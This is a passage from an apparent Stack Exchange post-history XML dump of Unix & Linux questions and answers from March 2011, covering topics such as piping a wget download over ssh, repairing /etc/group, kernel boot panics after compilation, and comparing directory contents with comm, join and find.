dies.&#xD;&#xA;&#xD;&#xA;It could be modified to only capture the output from the previous command using `preexec` and `precmd` hooks in zsh, or [an emulation of them][1] in bash, but that's more complicated to describe here.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.twistedmatrix.com/users/glyph/preexec.bash.txt" />
  <row Id="21418" PostHistoryTypeId="2" PostId="9033" RevisionGUID="4e54878e-7ee7-4719-bd55-42f804b55825" CreationDate="2011-03-10T20:24:45.820" UserId="885" Text="If I understand your question correctly (it's not clear what machine is supposed to do what), you are logged into some machine `myclient`, you have ssh access to another machine `myserver`, and you want to download a file over HTTP from a remove server `www.example.com`, with the requirement that the HTTP download must be performed to `myclient` but the data needs to be saved on `myserver`. Then:&#xD;&#xA;&#xD;&#xA;    wget -O - http://www.example.com/whatever | ssh myserver 'cat &gt;/path/to/remote/destination'&#xD;&#xA;&#xD;&#xA;Another approach is to mount the remote server's filesystem over SSH, with [sshfs](http://fuse.sourceforge.net/sshfs.html). This is too much hassle for a once-off need, but convenient if you do that sort of things often.&#xD;&#xA;&#xD;&#xA;    mkdir ~/myserver&#xD;&#xA;    sshfs myserver:/ ~/myserver&#xD;&#xA;    wget -O ~/myserver/path/to/remote/destination http://www.example.com/whatever&#xD;&#xA;" />
  <row Id="21419" PostHistoryTypeId="4" PostId="8895" RevisionGUID="b7b89a5f-4d53-44c3-befe-2f2df0abbd77" CreationDate="2011-03-10T20:28:26.843" UserId="2511" Comment="edited tags; edited title" Text="Why isn't a straightforward 1/5/15 minute moving average used in Linux load calculation?" />
  <row Id="21420" PostHistoryTypeId="6" PostId="8895" RevisionGUID="b7b89a5f-4d53-44c3-befe-2f2df0abbd77" CreationDate="2011-03-10T20:28:26.843" UserId="2511" Comment="edited tags; edited title" Text="élinuxàékernelàémonitoringàéloadàéalgorithmsà" />
  <row Id="21421" PostHistoryTypeId="2" PostId="9034" RevisionGUID="0035b8ed-8849-43d8-ab06-eb6f2cda4429" CreationDate="2011-03-10T20:41:47.923" UserId="2511" Text="So, uh, here's an answer:&#xD;&#xA;&#xD;&#xA;If you're running under X, select the output you want with the mouse to copy it, and then middle-click to paste it.&#xD;&#xA;&#xD;&#xA;If you're running on a text console, you can do a similar thing with [gpm][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://git.schottelius.org/gpm/" />
  <row Id="21422" PostHistoryTypeId="2" PostId="9035" RevisionGUID="b6f1ddb5-0ee4-44b2-aca9-07772bc7cf3d" CreationDate="2011-03-10T20:50:52.690" UserId="4667" Text="Not yet mentioned, use a variable:&#xD;&#xA;&#xD;&#xA;    dir=$( python -c ... )&#xD;&#xA;    cd &quot;$dir&quot;" />
  <row Id="21423" PostHistoryTypeId="2" PostId="9036" RevisionGUID="77ee89a2-99dc-4d1d-b0ab-38920bf637e6" CreationDate="2011-03-10T20:50:57.997" UserId="885" Text="You can edit `/etc/passwd` and friends (`/etc/group`, `/etc/shadow`, `/etc/gshadow`) manually, but there's more risk of making a mistake (such as deleting a line you didn't mean to) than when using higher-level tools.&#xD;&#xA;&#xD;&#xA;Use `vigr` rather than calling your editor directly on `/etc/group` (`vigr -s` for `/etc/gshadow`, `vipw` (`-s`) for `/etc/passwd` (`/etc/shadow`)). This has two benefits. First, these utilities lock the files to make sure someone or some other tools doesn't edit them at the same time. Second, they create a backup (`/etc/group-`, …).&#xD;&#xA;&#xD;&#xA;Check if you have `/etc/group-`, or perhaps a backup from another tool (e.g. `/etc/group.bak`). It might be a little out of date, but it'll still be better than starting from scratch.&#xD;&#xA;&#xD;&#xA;If you haven't modified `/etc/gshadow`, you can find the names of the missing groups, but not the numbers. If you've erased entries below 100, their names and numbers identical across all installations of a given version of Ubuntu (you'll still have to add local users to system groups as desired). Entries between 101 and 999 are allocated when a package is installed, and I can't think of an easy way to reconstruct these. Entries above 1000 are whatever you created.&#xD;&#xA;&#xD;&#xA;I recommend setting up version control for `/etc`. If you'd done this, you could just restore from a working version. See [Is there a system journal that I can install?](http://askubuntu.com/questions/8329/is-there-a-system-journal-that-i-can-install/8343#8343). In a nutshell:&#xD;&#xA;&#xD;&#xA;    apt-get install etckeeper&#xD;&#xA;    etckeeper init&#xD;&#xA;&#xD;&#xA;Your changes will be saved (“committed”) once per day, before and after installing packages, or whenever you run `bzr commit` from `/etc`. To see what you've changed, run `bzr diff`. To restore the latest committed version, run `bzr revert group` from `/etc`.&#xD;&#xA;" />
  <row Id="21424" PostHistoryTypeId="5" PostId="8951" RevisionGUID="72a8037f-32e5-4447-a7f6-194b21501f57" CreationDate="2011-03-10T20:55:37.587" UserId="2511" Comment="added 560 characters in body; added 43 characters in body" Text="It's true that you can just edit the text file `/etc/group`. It sounds like you have either deleted too much, or else left the file in a broken state. It needs to be one entry per line, in this format:&#xD;&#xA;&#xD;&#xA;    group_name:x:###:&#xD;&#xA;&#xD;&#xA;for &quot;empty&quot; groups, or&#xD;&#xA;&#xD;&#xA;    group_name:x:###:username&#xD;&#xA;&#xD;&#xA;for groups with one member, or&#xD;&#xA;&#xD;&#xA;    group_name:x:###:username2,username2&#xD;&#xA;&#xD;&#xA;for groups with multiple members. I put &quot;empty&quot; in quotes because you can also be a member of a group if it's set as your primary group in `/etc/passwd` — it's the fourth field there.&#xD;&#xA;&#xD;&#xA;(The &quot;x&quot; can actually be a password hash, but that's very rarely used these days. It's almost certainly going to be all &quot;x&quot;s on your system.)&#xD;&#xA;&#xD;&#xA;If you have extraneous blank lines, or badly formatted ones, that could mess things up.&#xD;&#xA;&#xD;&#xA;The file also needs to have world-readable permissions.&#xD;&#xA;&#xD;&#xA;Ideally, you have a backup of the file from a few months ago. But, I understand the real world. :)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;There is also a file `/etc/gshadow`. If you *are* using group passwords (and like I said, almost nobody does), their hash values should be kept here instead of `/etc/group`, because this file is supposed to be only readable by root. This file can also be used to designate group administrators, who have the ability to add members using certain command-line tools. (I don't know of anyone using this functionality either.)&#xD;&#xA;&#xD;&#xA;This file _should_ be kept in sync with `/etc/group`. Using command-line or GUI tools to manage groups will do that automatically, which is another reason to consider using those rather than just editing the file. However, in actual practice, this file can be quite out of sync and even all munged up and your system will generally work fine. It won't result in the error you're seeing.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Gilles adds in a comment below that you could look in the `/etc/gshadow` file for information about how things _should_ be. This won't have all the important information (like group ID number), but will have the group names and probably group membership information.&#xD;&#xA;&#xD;&#xA;There may also be an `/etc/group-` file (note the `-` at the end) — this is the standard backup file created by the some tools for manipulating `/etc/group/`. If you're lucky, that'll have everything you need.  (Often it's not much help, though, because it's just _one_ backup. And programs like `gpasswd` don't update it.)" />
  <row Id="21425" PostHistoryTypeId="5" PostId="4599" RevisionGUID="9bce1961-6e0a-461e-bceb-c92f8b89952e" CreationDate="2011-03-10T21:21:01.977" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Kernel can&amp;#39;t find /dev/sda file during boot](http://unix.stackexchange.com/questions/8405/kernel-cant-find-dev-sda-file-during-boot)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I got the following errors after new kernel compilation (linux-2.6.25.tar.bz2)&#xD;&#xA;&#xD;&#xA;&gt; mount: could not find filesystem '/dev/root'  &#xD;&#xA;setuproot: moving /dev failed: no such file or directory  &#xD;&#xA;setuproot: error mounting /proc: No such file or directory  &#xD;&#xA;setuproot: error mounting /sys: No such file or directory  &#xD;&#xA;switchroot: mount failed: No such file or directory  &#xD;&#xA;kernel panic - not syncing: Attempted to kill init!&#xD;&#xA;&#xD;&#xA;How to troubleshoot?&#xD;&#xA;" />
  <row Id="21426" PostHistoryTypeId="10" PostId="4599" RevisionGUID="603becea-4616-4895-b24b-62217f864387" CreationDate="2011-03-10T21:21:01.883" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21427" PostHistoryTypeId="18" PostId="4599" RevisionGUID="79eff715-b9f8-4eb8-85ab-7d7f9b10e668" CreationDate="2011-03-10T21:21:15.173" UserId="73" Comment="to http://unix.stackexchange.com/questions/8405/kernel-cant-find-dev-sda-file-during-boot" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21428" PostHistoryTypeId="18" PostId="4609" RevisionGUID="79eff715-b9f8-4eb8-85ab-7d7f9b10e668" CreationDate="2011-03-10T21:21:15.173" UserId="73" Comment="from http://unix.stackexchange.com/questions/4599/kernel-compilation-error" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21429" PostHistoryTypeId="18" PostId="4630" RevisionGUID="79eff715-b9f8-4eb8-85ab-7d7f9b10e668" CreationDate="2011-03-10T21:21:15.173" UserId="73" Comment="from http://unix.stackexchange.com/questions/4599/kernel-compilation-error" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21431" PostHistoryTypeId="18" PostId="8405" RevisionGUID="79eff715-b9f8-4eb8-85ab-7d7f9b10e668" CreationDate="2011-03-10T21:21:15.173" UserId="73" Comment="from http://unix.stackexchange.com/questions/4599/kernel-compilation-error" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21432" PostHistoryTypeId="14" PostId="4599" RevisionGUID="c26c32c3-b4f1-47e4-a38a-bad4c7bcfc08" CreationDate="2011-03-10T21:21:15.440" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21433" PostHistoryTypeId="5" PostId="7631" RevisionGUID="15de1f9b-a40e-40f0-89dc-c186ed113ca6" CreationDate="2011-03-10T21:21:26.627" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Kernel can&amp;#39;t find /dev/sda file during boot](http://unix.stackexchange.com/questions/8405/kernel-cant-find-dev-sda-file-during-boot)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi,&#xD;&#xA;    I know this is very common problem and there are many threads discussing it. However after trying many solutions my problem still persists :( &#xD;&#xA;&#xD;&#xA;I have installed ubuntu Lucid which works fine.Then I  downloaded and compiled kernel 2.6.37 from git tree and compiled it using normal compilation process.I created initrd image and called  &#xD;&#xA;&#xD;&#xA;&gt; update-grub&#xD;&#xA;&#xD;&#xA;It detects my initrd image. However,I get following error while booting: &#xD;&#xA;&#xD;&#xA;&gt; Gave up waiting for root device.   &#xD;&#xA;Common problems:  &#xD;&#xA;-Boot args (cat /proc/cmdline)  &#xD;&#xA;-Check rootdelay= (did the system wait long enough?)  &#xD;&#xA;-Check root= (did the system wait for the right device?)  &#xD;&#xA;-Missing modules (cat /proc/modules; ls /dev)  &#xD;&#xA;ALERT! root=UUID=/... does not exist&#xD;&#xA;&#xD;&#xA;And then control falls onto  **initramfs** prompt. &#xD;&#xA;I tried following solutions:&#xD;&#xA;&#xD;&#xA; - Write GRUB_DISABLE_LINUX_UUID=true in /etc/default/grub  &#xD;&#xA; - compile kernel using CONFIG_DEVTMPFS=y &#xD;&#xA;&#xD;&#xA;Still I am unable to boot from the boot the compiled kernel.&#xD;&#xA;Could someone please suggest me some solution . Thank you :) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21434" PostHistoryTypeId="10" PostId="7631" RevisionGUID="ce97120d-4a15-45d1-a4aa-7268dba726c8" CreationDate="2011-03-10T21:21:26.500" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21435" PostHistoryTypeId="18" PostId="7631" RevisionGUID="a5e4bf0a-a69c-4dad-8769-ba5531842576" CreationDate="2011-03-10T21:21:41.993" UserId="73" Comment="to http://unix.stackexchange.com/questions/8405/kernel-cant-find-dev-sda-file-during-boot" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21436" PostHistoryTypeId="18" PostId="7634" RevisionGUID="a5e4bf0a-a69c-4dad-8769-ba5531842576" CreationDate="2011-03-10T21:21:41.993" UserId="73" Comment="from http://unix.stackexchange.com/questions/7631/error-booting-the-custom-compiled-kernel-2-6-37-on-ubuntu-10-04-gave-up-waiting" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21437" PostHistoryTypeId="18" PostId="8405" RevisionGUID="a5e4bf0a-a69c-4dad-8769-ba5531842576" CreationDate="2011-03-10T21:21:41.993" UserId="73" Comment="from http://unix.stackexchange.com/questions/7631/error-booting-the-custom-compiled-kernel-2-6-37-on-ubuntu-10-04-gave-up-waiting" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21438" PostHistoryTypeId="14" PostId="7631" RevisionGUID="c79e0696-bcdc-431e-a99a-d1f52ba516ce" CreationDate="2011-03-10T21:21:42.257" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="21439" PostHistoryTypeId="2" PostId="9037" RevisionGUID="1c7d0bae-2a92-4b8b-9800-2d06502b187c" CreationDate="2011-03-10T21:29:08.013" UserId="4778" Text="Is it as simple as the passwd file has your primary group as 1002, but you have removed this group from the group file. So there is no way to resolve the name.&#xD;&#xA;Also files will still have the user and group ids that they have before.&#xD;&#xA;&#xD;&#xA;It is not a good idea to add users and groups, better to disable them. If there is a reference some where left on the system, then you add a new user/group that takes the old id then it can look like they created the file, give them access to personal information etc." />
  <row Id="21440" PostHistoryTypeId="2" PostId="9038" RevisionGUID="6c3181d9-1127-4513-ad13-8f911865f521" CreationDate="2011-03-10T21:40:16.333" UserId="4778" Text="**The source had few syntax errors**&#xD;&#xA;So it would not even compile (the lowest form of test ).&#xD;&#xA;&#xD;&#xA;If I understand correctly then I would be highly surprised if it did not have problems. There is probably no way you could have fixed all the bugs by fixing compilation errors, you would need a lot of knowledge of the code, and what has changed (so you can focus in)." />
  <row Id="21441" PostHistoryTypeId="2" PostId="9039" RevisionGUID="e4a77b30-4677-4ce1-8b08-a6acb9e15d7c" CreationDate="2011-03-10T21:53:19.787" UserId="4778" Text="Last time I had umask problem, trying to get all files in a directory to be group readable no matter who created them.&#xD;&#xA;&#xD;&#xA;I got a bit stuck at first; I could set the sticky bit on the group, so all files had same group, but could find no way to set permissions consistently and correctly. The use of a cron job to regularly put it right did not seem satisfactory.&#xD;&#xA;&#xD;&#xA;But then someone told be a solution.&#xD;&#xA;Posix ACLs, you can set in a directory properties(users,groups,permissions) to inherit.&#xD;&#xA;&#xD;&#xA;You will probably need to install it, and new backup tools (the default ones don't always know about ACLs)" />
  <row Id="21442" PostHistoryTypeId="2" PostId="9040" RevisionGUID="30528c6f-c818-4928-b3a6-e9de6a2fbcbe" CreationDate="2011-03-10T22:44:16.050" UserId="1375" Text="I've got an old Logitech USB gamepad that worked well under both Windows and Mac OS X. That is, the gamepad was totally &quot;plug and play&quot; for games run by a Super Nintendo emulator (SNES9X).&#xD;&#xA;Does Linux support such gamepads out of the box? Or any other controller for that matter? Thanks." />
  <row Id="21443" PostHistoryTypeId="1" PostId="9040" RevisionGUID="30528c6f-c818-4928-b3a6-e9de6a2fbcbe" CreationDate="2011-03-10T22:44:16.050" UserId="1375" Text="Linux kernel support for USB gamepads?" />
  <row Id="21444" PostHistoryTypeId="3" PostId="9040" RevisionGUID="30528c6f-c818-4928-b3a6-e9de6a2fbcbe" CreationDate="2011-03-10T22:44:16.050" UserId="1375" Text="élinuxàékernelàéusbàégamepadà" />
  <row Id="21445" PostHistoryTypeId="25" PostId="9040" RevisionGUID="a8e49693-15fb-4b1e-bbd9-205fdeae51f7" CreationDate="2011-03-10T23:23:47.283" Comment="http://twitter.com/#!/StackUnix/status/45988247347798016" />
  <row Id="21446" PostHistoryTypeId="25" PostId="9029" RevisionGUID="f9a64fb4-ec95-4e18-aa2d-9306ddc0ff67" CreationDate="2011-03-10T23:24:31.823" Comment="http://twitter.com/#!/StackUnix/status/45988434225016832" />
  <row Id="21450" PostHistoryTypeId="2" PostId="9042" RevisionGUID="4d555857-3b37-4a5f-9431-c1afc7e641d6" CreationDate="2011-03-11T00:18:39.630" UserId="5619" Text="I'm having trouble with a bash script I want to make&#xD;&#xA;&#xD;&#xA;I know ls will list files that are in a directory but I want it to list directories that are in directory1 but NOT in directory2, and then list files in directory2 that are NOT in directory1.&#xD;&#xA;&#xD;&#xA;In a feeble attempt, i tried:&#xD;&#xA;&#xD;&#xA;    ls -al | diff directory1 directory2&#xD;&#xA;&#xD;&#xA;Quickly I realized why it didn't work. Can anyone help out a total bash nerd out? Thanks!" />
  <row Id="21451" PostHistoryTypeId="1" PostId="9042" RevisionGUID="4d555857-3b37-4a5f-9431-c1afc7e641d6" CreationDate="2011-03-11T00:18:39.630" UserId="5619" Text="Compare files that are in directory 1 but not directory 2?" />
  <row Id="21452" PostHistoryTypeId="3" PostId="9042" RevisionGUID="4d555857-3b37-4a5f-9431-c1afc7e641d6" CreationDate="2011-03-11T00:18:39.630" UserId="5619" Text="ébashàéshellöscriptàélsàédiffà" />
  <row Id="21453" PostHistoryTypeId="2" PostId="9043" RevisionGUID="fcd0032f-56bb-4bfc-9c76-25e8073520c2" CreationDate="2011-03-11T00:22:41.733" UserId="4485" Text="If you prefer a graphical tool, use &#xD;&#xA;&#xD;&#xA;    xxdiff dir1 dir2 &#xD;&#xA;&#xD;&#xA;you might need to install it first. Similar programs are&#xD;&#xA;&#xD;&#xA;    gtkdiff&#xD;&#xA;    tkdiff&#xD;&#xA;&#xD;&#xA;The midnight commander has a `compare directories` command build in, which works nice, if you don't go for subdirs." />
  <row Id="21454" PostHistoryTypeId="2" PostId="9044" RevisionGUID="53c89298-db26-4129-9d34-a41073224912" CreationDate="2011-03-11T00:42:15.413" UserId="4485" Text="And here a pure script. These are the directories a and b: &#xD;&#xA;&#xD;&#xA;    find a b&#xD;&#xA;    a&#xD;&#xA;    a/a&#xD;&#xA;    a/b&#xD;&#xA;    a/c&#xD;&#xA;    a/f&#xD;&#xA;    a/f/h&#xD;&#xA;    a/f/i&#xD;&#xA;    b&#xD;&#xA;    b/b&#xD;&#xA;    b/c&#xD;&#xA;    b/d&#xD;&#xA;    b/f&#xD;&#xA;    b/f/g&#xD;&#xA;    b/f/h&#xD;&#xA;&#xD;&#xA;Here is the command: &#xD;&#xA;&#xD;&#xA;    find a -execdir bash -c 'test ! -e ../b/{}' &quot;;&quot; -print &#xD;&#xA;    a/a&#xD;&#xA;    a/f/h&#xD;&#xA;    a/f/i&#xD;&#xA;&#xD;&#xA;Swap a and b for files in a but not in b. &#xD;&#xA;&#xD;&#xA;Note: I don't understand why a/f/h and b/f/h don't match. Hm? " />
  <row Id="21455" PostHistoryTypeId="2" PostId="9045" RevisionGUID="7f7d54bb-2446-4fd2-a6cc-9c811cc4d995" CreationDate="2011-03-11T00:51:24.070" UserId="5325" Text="Given bash, this might be easiest as&#xD;&#xA;&#xD;&#xA;    $ comm &lt;(ls -a dir1) &lt;(ls -a dir2)&#xD;&#xA;&#xD;&#xA;The `&lt;(command)` expression runs *command* over a pipe and substitutes a `/dev/fd` reference:&#xD;&#xA;&#xD;&#xA;    mress:10018 Z$ echo &lt;(ls)&#xD;&#xA;    /dev/fd/11&#xD;&#xA;&#xD;&#xA;So the command above runs `ls -a` on each directory and feeds their outputs as file arguments to `comm`, which outputs up to 3 columns, tab-indented:  entries only in the first, entries in both, entries in the second.  (That is, if it's in both then it is indented by a tab, if it's only in the second it's indented by 2 tabs.)  You can also suppress columns by number:  `comm -1 foo bar` displays only the lines in both and lines in the second file, the latter indented by *one* tab.  (This is most commonly used by suppressing all but the column you want:  `comm -13 foo bar` shows only the lines in common.)&#xD;&#xA;&#xD;&#xA;Given that you want those in the first directory, that translates to&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ comm -23 &lt;(ls -a dir1) &lt;(ls -a dir2)&#xD;&#xA;&#xD;&#xA;If you need more than just whether it is present, use `diff -r`, which will output diffs for the files in common and a one-line message for files found only in one or the other." />
  <row Id="21456" PostHistoryTypeId="2" PostId="9046" RevisionGUID="f80db768-f754-4ce5-b56c-f5a69eda3765" CreationDate="2011-03-11T00:55:00.400" UserId="732" Text="You could use the neglected `join` command:&#xD;&#xA;&#xD;&#xA;    # set up for example&#xD;&#xA;    mkdir d1 d2&#xD;&#xA;    for name in a  b  c  d  e  f  g  h&#xD;&#xA;    do&#xD;&#xA;        touch d1/$name&#xD;&#xA;    done&#xD;&#xA;    for name in e f g h i j k l&#xD;&#xA;    do&#xD;&#xA;        touch d2/$name&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;    ls -1 d1 &gt; d1.out   # That's &quot;minus one&quot; not &quot;minus ell&quot;&#xD;&#xA;    ls -1 d2 &gt; d2.out&#xD;&#xA;    join d1.out d2.out       # files common to both d1/ and d2/&#xD;&#xA;    join -v 1 d1.out d2.out  # files only in directory d1/&#xD;&#xA;    join -v 2 d1.out d2.out  # files only in directory d2/&#xD;&#xA;&#xD;&#xA;For me, it shows files like this:&#xD;&#xA;&#xD;&#xA;     5:51PM 100 % join d1.out d2.out&#xD;&#xA;    e&#xD;&#xA;    f&#xD;&#xA;    g&#xD;&#xA;    h&#xD;&#xA;     5:51PM 101 % join -v 1 d1.out d2.out&#xD;&#xA;    a&#xD;&#xA;    b&#xD;&#xA;    c&#xD;&#xA;    d&#xD;&#xA;     5:52PM 102 % join -v 2 d1.out d2.out&#xD;&#xA;    i&#xD;&#xA;    j&#xD;&#xA;    k&#xD;&#xA;    l&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21457" PostHistoryTypeId="5" PostId="9044" RevisionGUID="1d5c983c-2cc9-4bac-86c3-d1ccb9c7203c" CreationDate="2011-03-11T01:09:15.110" UserId="4485" Comment="explaining the find command" Text="And here a pure script. These are the directories a and b: &#xD;&#xA;&#xD;&#xA;    find a b&#xD;&#xA;    a&#xD;&#xA;    a/a&#xD;&#xA;    a/b&#xD;&#xA;    a/c&#xD;&#xA;    a/f&#xD;&#xA;    a/f/h&#xD;&#xA;    a/f/i&#xD;&#xA;    b&#xD;&#xA;    b/b&#xD;&#xA;    b/c&#xD;&#xA;    b/d&#xD;&#xA;    b/f&#xD;&#xA;    b/f/g&#xD;&#xA;    b/f/h&#xD;&#xA;&#xD;&#xA;Here is the command: &#xD;&#xA;&#xD;&#xA;    find a -execdir bash -c 'test ! -e ../b/{}' &quot;;&quot; -print &#xD;&#xA;    a/a&#xD;&#xA;    a/f/h&#xD;&#xA;    a/f/i&#xD;&#xA;&#xD;&#xA;Swap a and b for files in a but not in b. &#xD;&#xA;The ! is a negation. -e tests for -existance. In prosa: &quot;Test if not exists the file found in a in ../b&quot;. &#xD;&#xA;&#xD;&#xA;Note: I don't understand why a/f/h and b/f/h don't match. Hm? " />
  <row Id="21458" PostHistoryTypeId="2" PostId="9047" RevisionGUID="f7954aea-0242-4380-a611-b49d155f185a" CreationDate="2011-03-11T01:18:10.027" UserId="5620" Text="I installed Debian 6.0 (squeeze) a few days ago on my machine. I installed the default GNOME desktop, standard settings. Unfortunately, I just noticed that when I plug in USB storage devices (external hard drivers, USB sticks, etc.), they don't get automatically mounted, like they used to (and presumably still should).&#xD;&#xA;&#xD;&#xA;I noticed that the usb-storage module wasn't loaded automatically, either, so no device nodes were getting created either. So, I loaded that module, so at least now the device nodes get created automatically, it's just a case of mounting them manually. But that's not the point!&#xD;&#xA;&#xD;&#xA;In nautilus's preferences, I have &quot;Browse media when inserted&quot; checked, (i.e., the default), but just nothing in the UI happens when I insert something. The device never appears in the Computer view.&#xD;&#xA;&#xD;&#xA;Watching the kernel logs shows that the insertions are definitely being registered, and after manually loading usb-storage first (what is that about? Why isn't that happening automatically?), device nodes get created, but that's it.&#xD;&#xA;&#xD;&#xA;So. My question is, from here, how do I go about finding out what's wrong?" />
  <row Id="21459" PostHistoryTypeId="1" PostId="9047" RevisionGUID="f7954aea-0242-4380-a611-b49d155f185a" CreationDate="2011-03-11T01:18:10.027" UserId="5620" Text="USB storage devices aren't automatically mounted when inserted on a fresh install of Debian 6.0." />
  <row Id="21460" PostHistoryTypeId="3" PostId="9047" RevisionGUID="f7954aea-0242-4380-a611-b49d155f185a" CreationDate="2011-03-11T01:18:10.027" UserId="5620" Text="édebianàéusbödriveàéautomountingà" />
  <row Id="21461" PostHistoryTypeId="5" PostId="9044" RevisionGUID="6daa0a9c-b301-4cba-9a02-e25f05f5f326" CreationDate="2011-03-11T01:26:01.290" UserId="4485" Comment="now calling test without bash" Text="And here a pure script. These are the directories a and b: &#xD;&#xA;&#xD;&#xA;    find a b&#xD;&#xA;    a&#xD;&#xA;    a/a&#xD;&#xA;    a/b&#xD;&#xA;    a/c&#xD;&#xA;    a/f&#xD;&#xA;    a/f/h&#xD;&#xA;    a/f/i&#xD;&#xA;    b&#xD;&#xA;    b/b&#xD;&#xA;    b/c&#xD;&#xA;    b/d&#xD;&#xA;    b/f&#xD;&#xA;    b/f/g&#xD;&#xA;    b/f/h&#xD;&#xA;&#xD;&#xA;Here is the command: &#xD;&#xA;&#xD;&#xA;    find a -execdir test ! -e ../b/{} &quot;;&quot; -print &#xD;&#xA;    a/a&#xD;&#xA;    a/f/h&#xD;&#xA;    a/f/i&#xD;&#xA;&#xD;&#xA;Swap a and b for files in a but not in b. &#xD;&#xA;The ! is a negation. -e tests for -existance. In prosa: &quot;Test if not exists the file found in a in ../b&quot;. &#xD;&#xA;&#xD;&#xA;Note: I don't understand why a/f/h and b/f/h don't match. Hm? " />
  <row Id="21462" PostHistoryTypeId="5" PostId="9044" RevisionGUID="5f0512e0-fac4-4471-8325-6dac9d9a5fee" CreationDate="2011-03-11T02:04:04.140" UserId="4485" Comment="working in all aspects now" Text="And here a pure script. These are the directories a and b: &#xD;&#xA;&#xD;&#xA;    find a b&#xD;&#xA;    a&#xD;&#xA;    a/a&#xD;&#xA;    a/b&#xD;&#xA;    a/c&#xD;&#xA;    a/f&#xD;&#xA;    a/f/h&#xD;&#xA;    a/f/i&#xD;&#xA;    b&#xD;&#xA;    b/b&#xD;&#xA;    b/c&#xD;&#xA;    b/d&#xD;&#xA;    b/f&#xD;&#xA;    b/f/g&#xD;&#xA;    b/f/h&#xD;&#xA;&#xD;&#xA;Here is the command: &#xD;&#xA;&#xD;&#xA;    cd a&#xD;&#xA;    find ./ -exec test ! -e ../b/{} &quot;;&quot; -print &#xD;&#xA;&#xD;&#xA;output:&#xD;&#xA;&#xD;&#xA;    ./a&#xD;&#xA;    ./f/i&#xD;&#xA;&#xD;&#xA;Swap a and b for files in a but not in b. &#xD;&#xA;The ! is a negation. -e tests for -existance. In prosa: &quot;Test if not exists the file found in a in ../b&quot;. &#xD;&#xA;&#xD;&#xA;Note: You have to dive into a first, to get names without 'a'. For the second comparison you have to cd `../b`." />
  <row Id="21463" PostHistoryTypeId="25" PostId="9047" RevisionGUID="328d5f52-0bb7-4848-852c-908a6de8cbf6" CreationDate="2011-03-11T02:24:38.740" Comment="http://twitter.com/#!/StackUnix/status/46033761539858432" />
  <row Id="21464" PostHistoryTypeId="5" PostId="8930" RevisionGUID="d125aa5c-bc21-45bf-92f3-456f8821e20e" CreationDate="2011-03-11T04:06:42.910" UserId="5168" Comment="Added an EDIT" Text="I am building Linux Kernel 2.6.36.4 on a Dell Laptop which has Linux Kernel 2.6.35.11 running.&#xD;&#xA;&#xD;&#xA;BTW I got the source from kernel.org.&#xD;&#xA;&#xD;&#xA;The source had few syntax errors which I fixed in the process and finished building Kernel.&#xD;&#xA;&#xD;&#xA;After reboot, I keep getting following error:&#xD;&#xA;&#xD;&#xA;&gt; RAMDISK: incomplete write error(6022 !=&#xD;&#xA;&gt; 28860)  &#xD;&#xA;write error  &#xD;&#xA;Kernel Panic - not&#xD;&#xA;&gt; syncing: VFS: Unable to mount root fs&#xD;&#xA;&gt; on unknown-block(0, 0)  &#xD;&#xA;Pid: 1, comm: swapper Not tainted 2.6.36.4 #2  &#xD;&#xA;Call Trace:  &#xD;&#xA;? printk....  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I followed following steps while building the source: &#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&gt;  1. tar xvf linux-2.6.36.4.tar.bz2 &#xD;&#xA;&gt;  2. sudo cp  /boot/config-2.6.35.11generic&#xD;&#xA;&gt; ~/linux-2.6.36.4/.config&#xD;&#xA;&gt;  3. cd ~/linux-2.6.36.4&#xD;&#xA;&gt;  4. make menuconfig&#xD;&#xA;&gt;  5. sudo make&#xD;&#xA;&gt;  6. sudo make modules_install&#xD;&#xA;&gt;  7. sudo make install&#xD;&#xA;&gt;  8. sudo update-initramfs -k  2.6.36.4 -c&#xD;&#xA;&gt;  9. sudo update-grub&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I tried following things after my internet search:&#xD;&#xA;&#xD;&#xA; - After reboot with working kernel, ran `sudo update-initramfs -u -k all`&#xD;&#xA; - Ran `fsck` &#xD;&#xA;&#xD;&#xA;However I still get this error for every attempt to boot using 2.6.36.4&#xD;&#xA;&#xD;&#xA;Has anybody come across such an issue and what do you suggest in this context?&#xD;&#xA;&#xD;&#xA;Thank you in advance!&#xD;&#xA;&#xD;&#xA;EDIT:  &#xD;&#xA;Some developers have increased the ramdisk size to few MBs from 4096 default. Is that a good 